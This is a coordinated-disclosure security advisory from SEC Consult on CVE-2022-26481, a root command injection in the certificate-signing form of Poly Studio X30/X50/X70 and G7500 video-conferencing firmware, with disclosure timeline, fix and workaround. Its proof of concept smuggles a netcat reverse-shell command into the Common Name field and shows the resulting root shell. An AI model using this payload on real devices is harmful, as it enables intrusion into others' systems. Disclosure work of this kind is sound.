Poly Studio X30 / Studio X50 / Studio X70 / G7500 Command Injection

`SEC Consult Vulnerability Lab Security Advisory < 20220601-1 >  
=======================================================================  
title: Authenticated Command Injection  
product: Poly Studio X30, Studio X50, Studio X70, G7500  
vulnerable version: 3.4.0-292042, 3.5.0-344025, 3.6.0  
fixed version: 3.7.0 or higher  
CVE number: CVE-2022-26481  
impact: critical  
homepage: https://www.poly.com  
found: 2021-07-14  
by: Johannes Kruchem (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Experience full board-room-quality audio, and knock-your-socks-off video,  
for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically  
simple to use with support for leading cloud video services built right  
in—no PC or Mac required. Voices are crisp and clear. Video feels natural.  
And wireless content sharing lets users collaborate from their devices  
without cables or pucks."  
  
https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50  
  
  
Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)  
An authenticated Command Injection vulnerability exists in the web interface when  
creating a certificate. An attacker is able to execute commands with root privileges.  
  
  
Proof of concept:  
-----------------  
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)  
When being authenticated:  
  
1. In the system web interface, go to Security > Certificates.  
2. Select Create Certificate Signing Request (CSR).  
3. In the Certificate Details form, complete the following fields:  
  
Common Name (CN): $(busybox nc 10.0.0.1 8888 -e /system/bin/sh)  
  
(steps taken from https://documents.polycom.com/bundle/polypartnermode-ag-3-1-1/page/t1919784.html)  
  
The previously started nc listener receives a connection from the camera  
as root:  
  
$ nc -lvp 8888  
connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2]  
$ pwd  
/oem/polycom/bin  
$ whoami  
root  
  
  
Vulnerable / tested versions:  
-----------------------------  
At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and  
G7500 are affected:  
  
- 3.4.0  
- 3.5.0  
- 3.6.0  
  
  
Vendor contact timeline:  
------------------------  
2021-07-14: Contacting vendor through PSIRT email.  
2021-07-15: Vendor sent PGP key.  
2021-07-16: Advisory was sent to the vendor.  
2021-07 to 2022-03: Further coordination with multiple emails and meetings.  
2022-03-18: Vendor provides draft advisory.  
2022-03 - 2022-06: Patch already available, waiting for vendor advisory release.  
2022-06-01: Coordinated release of security advisory.  
  
  
Solution:  
---------  
Update to firmware version 3.7.0 or higher.  
  
The firmware can be downloaded from the vendor's support page:  
https://www.poly.com/us/en/support/products  
  
  
This issue has been documented in the vendor's security advisory PLYTV21-09:  
https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYTV21-09_Studio-X50-Improper-Neutralization-of-Special-Elements-used-in-an-OS-Command.pdf  
  
  
Workaround:  
-----------  
In order to minimize the risk of exploitation, set a strong password for the  
web interface and restrict network access to the device.  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult, an Atos company  
Europe | Asia | North America  
  
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the evaluation of new offensive and defensive technologies for our customers.  
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EOF Johannes Kruchem / @2022  
  
`